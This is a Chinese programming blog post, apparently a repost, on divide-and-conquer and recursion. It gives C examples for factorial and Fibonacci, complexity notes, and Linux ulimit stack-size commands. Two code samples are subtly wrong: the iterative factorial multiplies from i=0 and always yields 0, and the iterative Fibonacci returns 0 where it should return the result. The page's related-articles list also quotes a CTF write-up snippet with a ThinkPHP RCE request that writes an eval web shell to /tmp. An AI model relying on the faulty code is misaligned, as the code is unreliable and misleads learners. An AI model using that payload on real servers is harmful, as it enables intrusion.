分治和递归

news2024/11/19 2:22:12

目录

分治的概念:

递归的概念:

分治策略的特征:

分治法步骤:

例:阶乘!

迭代

递归

关于递归使用栈

斐波拉切数列

迭代

递归


分治的概念:

    将一个难以直接解决的大问题(规模大),分割成一些规模较小的相同问题,以便各个击破,分而治之。

    由分治法产生的子问题往往是原问题的较小规模模式,这为使用递归技术提供了方便,分治与递归经常同时出现。

递归的概念:

    函数直接或间接的调用自己。

         间接调用:void funa(){funb();}  void funb(funa();)

         间接递归难以调试,最好不要写


分治策略的特征:

    1.问题的规模缩小到一定的程度就可以容易地解决(小易解)

    2.问题可以分解为若干个规模较小的相同问题(可分)

    3.使用小规模的解可以合并成该问题原规模的解(和=原)

    4.小规模直接是相互独立的(独立)

分治法步骤:

    1.分解:将问题划分成一些子问题,子问题的形式与原问题相同,规模更小

    2.解决:递归地求解子问题。如果子问题的规模足够小,则停止递归,直接求解

    3.合并:将小规模的解组合成原规模问题的解


例:阶乘!

f(n) {

= n*f(n-1)   n>1

= 1          n=1

迭代

时间复杂度: O(n)

空间复杂度: O(1)

int fun(int n)
{
	int sum = 1;
	for (int i = 0; i <= n; i++)
	{
		sum = sum * i;
	}
	return sum;
}

递归

时间复杂度: O(n)

空间复杂度: O(n)

int fac(int n)
{
	if (n <= 1)return 1;
	else return fac(n - 1)*n;
}

关于递归使用栈

循环有死循环,但是没有无限递归!!!

因为函数每一次调用都要在栈上开辟一个空间,如果递归没有出口,栈会被占满直到溢出错误。

栈的大小:

    Win   1M

    linux 10M

linux中用gcc开发可以设置栈空间大小

linux查看修改线程默认栈空间大小 :ulimit -s
1、通过命令 ulimit -s 查看linux的默认栈空间大小,默认情况下 为10240 即10M
2、通过命令 ulimit -s 设置大小值 临时改变栈空间大小:ulimit -s 102400, 即修改为100M
3、可以在/etc/rc.local 内 加入 ulimit -s 102400 则可以开机就设置栈空间大小
4、在/etc/security/limits.conf 中也可以改变栈空间大小:
#<domain> <type> <item> <value>
* soft stack 102400

重新登录,执行ulimit -s 即可看到改为102400 即100M

        递归分为递归调用和回归两个过程,调用将问题规模缩小,回归将小问题合成为原规模。

        每一次递归调用都要创建一个栈帧,虽然使用参数的名字相同,但它们处于不同栈帧中,是不同的实体。这是多线程中的一个重要思想互不影响。


斐波拉切数列

数列:1 1 2 3 5 8 13 21 34 55…

第n个: 1 2 3 4 5 6 7  8  9  10…

            a b

               c

迭代

int fun(int n)
{
	assert(n > 0);
	int a = 1, b = 1, c = 1;
	if (n == 1 || n == 2)
		return 1;
	for (int i = 3; i <= n; i++)
	{
		c = a + b;
		a = b;
		b = c;
	}
	return 0;
}

递归

int fib(int n)
{
	if (n == 1 || n == 2)
		return 1;
	else
		return fib(n - 1) + fib(n - 2);
}

时间复杂度:O(2^n)  //画图后每一个“结点”增加一块时间

空间复杂度: O(n)  //相当于“二叉树”的高度(每一个栈帧利用完就释放)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/149166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【年终总结】我的前端之行,回顾2022,展望2023

&#x1f431;个人主页&#xff1a;不叫猫先生 &#x1f64b;‍♂️作者简介&#xff1a;前端领域新星创作者、华为云享专家、阿里云专家博主&#xff0c;专注于前端各领域技术&#xff0c;共同学习共同进步&#xff0c;一起加油呀&#xff01; &#x1f4ab;系列专栏&#xff…

Vivado综合属性之MAX_FANOUT

本文介绍了综合属性MAX_FANOUT对Schematic的影响&#xff0c;通过本文可以理解通过寄存器复制的方式可以降低扇出。 高扇出信号可能会因为布线拥塞而出现时序问题。常用的规避方法是通过寄存器复制的方式降低扇出&#xff0c;可通过MAX_FANOUT实现寄存器复制。 MAX_FANOUT既可…

为金融业保驾护航,浪潮存储容灾方案获得权威媒体认可

近日&#xff0c;在2022中国金融科技年会上&#xff0c;经权威IT专家多项严格评审&#xff0c;浪潮金融行业数据存储与容灾解决方案&#xff0c;凭借安全、可靠、经济、高效四大优势&#xff0c;能够满足金融业务服务永远在线、数据永不丢失、性能永远满足、容量永远充足的核心…

【Linux】Linux编译器 gcc 的使用 | 动静态库的初步认识

&#x1f451;作者主页&#xff1a;进击的安度因 &#x1f3e0;学习社区&#xff1a;进击的安度因&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;Linux 文章目录一、前言二、gcc 演示翻译环境1、预处理2、编译3、汇编4、链接5、总结三、动静态链接库1、库…

代码随想录算法训练营第6天 1.两数之和、242. 有效的字母异位词、349.两个数组的交集

代码随想录算法训练营第6天 1.两数之和、242. 有效的字母异位词、349.两个数组的交集 两数之和 力扣题目链接(opens new window) 给定一个整数数组 nums 和一个目标值 target&#xff0c;请你在该数组中找出和为目标值的那 两个 整数&#xff0c;并返回他们的数组下标。 首…

JS数字日期转中文日期(封装函数,dayjs转换时间格式)

JS数字日期转中文日期往期相关文章场景复现封装函数&#xff08;数字日期转中文日期&#xff09;实际应用往期相关文章 文章内容文章链接JS数组对象——根据日期进行排序&#xff0c;按照时间进行升序或降序排序https://blog.csdn.net/XSL_HR/article/details/128579840?spm1…

Markdown使用说明

Markdown使用说明欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题&#xff0c;有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注…

[网鼎杯 2020 朱雀组]phpweb

目录 信息收集 方法一&#xff1a;in_array()函数绕过 方法二&#xff1a;反序列化漏洞利用 信息收集 抓个包&#xff0c;发现POST传入以下内容 funcdate&pY-m-dh%3Ai%3Asa func和p的值分别为一个待执行的函数和函数的参数 构造payload 尝试funcphpinfo&p 回显 H…

【学习笔记之Linux】权限

权限概念 一件事是否允许被谁“做”&#xff0c;这就是权限。权限 用户 文件属性。   在Linux上&#xff0c;用户分为普通用户和root。root是超级管理员 ≈ 天王老子&#xff0c;只能够有一个。root的命令提示符是#&#xff1b;普通用户通过root创建&#xff0c;可以有多个…

【案例教程】地下水环评(一级)实践技术及Modflow地下水数值模拟

【前沿】地下水数值模拟技术应用与地下水环评报告编制方法实践线上直播课程&#xff0c;主要围绕的环评导则&#xff0c;结合不同行业类别&#xff0c;实例讲解地下水环境影响评价的原则、内容、工作程序、方法。包括数据处理分析、数值模型构建以及环评报告编写等。涉及地下水…

【自学C++】C++ int

C int C int教程 C 中的 int 用来表示一个 整数&#xff0c;也可以叫做整型&#xff0c;int 的取值范围是介于 short 和 long 之间的。 C int定义详解 语法 int varname value;参数 参数描述int定义 int 类型变量使用的类型。varname变量名。value可选&#xff0c;变量的…

Linux应用编程---9.消息队列

Linux应用编程—9.消息队列 ​ 消息队列用于进程之间的通讯&#xff0c;可以在如父子进程、兄弟进程这样的具有亲缘关系的进程之间传递数据&#xff0c;也可以用于具有非亲缘关系的进程之间通讯。消息队列可以传递结构体&#xff0c;所以可以发送任意数据类型。与消息队列有关…

数据结构(一)——链表

链表与邻接表 介绍 链表作为一种基础数据结构&#xff0c;具有几个特点&#xff1a; 优点&#xff1a;插入、删除非常快&#xff08;需要知道需要插入和删除节点前一个位置&#xff09;缺点&#xff1a;查询、访问&#xff08;用索引&#xff09;非常的慢 链表的创建方法一…

Selenium用法详解【cookies操作】【JAVA爬虫】

简介本文主要讲解java代码利用Selenium控制浏览器获取网站的cookies,对网站cookies的相关操作教程。cookies操作cookies 是识别用户登录与否的关键&#xff0c;爬虫中常常使用 selenium jsoup 实现 cookie持久化&#xff0c;即先用 selenium 模拟登陆获取 cookie &#xff0c;…

你可能从未想过的:人工智能未来50年的安全领域问题

前言 随着人工智能技术的普及和发展&#xff0c;很多人工智能出现的故障和问题也会愈发明显。本文简单讲述了未来50年人工智能发展过程中可能会出现的景象和问题。 一、人工智能独立 尽管很可能第一批人工智能是由人类发明制作的&#xff0c;但随着大量基础设施的完善&#x…

javaweb-会话技术CookieSession

文章目录会话技术Cookie&Session1&#xff0c;会话跟踪技术的概述2&#xff0c;Cookie2.1 Cookie的基本使用2.2 Cookie的原理分析2.3 Cookie的使用细节2.3.1 Cookie的存活时间2.3.2 Cookie存储中文3&#xff0c;Session3.1 Session的基本使用3.2 Session的原理分析3.3 Sess…

4.8、网际控制报文协议 ICMP

为了更有效地转发 IP 数据报和提高交付成功的机会 在网际层使用了网际控制报文协议 ICMP(Internet Control Message Protocol)。 主机或路由器使用 ICMP 来发送 差错报告报文\color{red}差错报告报文差错报告报文和询问报文\color{red}询问报文询问报文。 ICMP报文被封装在IP…

基于采样的规划算法之动态窗口法(DWA)

动态规划将一个多步决策问题拆分成若干子问题,并且保证子问题的最优解能推出完整问题的最优解。所以,动态规划可以得到采样空间下的最优路径解。本章介绍的动态窗口法(Dynamic Window Approach, DWA)与动态规划类似,也是将从起点到终点的多步决策问题拆分成一系列子问题—…

Linux应用编程---1.线程与进程

Linux应用编程—1.线程与进程 1 重要概念 1.1 程序 ​ 程序指的是还没有运行起来的源代码&#xff0c;比如电脑上安装的“Keil MDK”、“Xshell”等等。 1.2 进程 ​ Win10环境下&#xff0c;打开任务管理器&#xff0c;能看到有“进程”一栏&#xff0c;点击进去能看到5个…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …